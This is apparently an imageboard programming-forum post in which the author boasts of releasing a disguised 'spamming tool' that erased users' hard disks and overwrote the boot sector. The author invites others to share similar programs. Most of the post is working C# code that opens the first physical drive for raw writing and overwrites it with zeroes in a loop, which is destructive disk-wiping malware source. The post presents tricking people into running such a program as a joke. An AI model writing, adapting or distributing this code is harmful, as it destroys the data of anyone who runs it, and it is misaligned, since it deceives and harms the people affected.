Dangerous programs

I once released a spamming tool on /b/ that zeroed out the user's hard disk except for the boot sector, into which was installed some code which displayed a duckroll upon starting the computer, and hanging.

Tell me your dangerous programs you've written, /prog/.



    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern bool WriteFile(SafeFileHandle handle, byte[] buffer, uint count, ref uint written, IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern bool CloseHandle(SafeFileHandle handle);

    private static void SlowlyWipeDisk()
    {
        SafeFileHandle handle = CreateFile(@"\\.\PhysicalDrive0", 0x40000000, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
        byte[] buffer = new byte[0x100000];
        uint written = 0;
        while (!quitting)
        {
            WriteFile(handle, buffer, 0x100000, ref written, IntPtr.Zero);
            Thread.Sleep(750);
        }
        CloseHandle(handle);
    }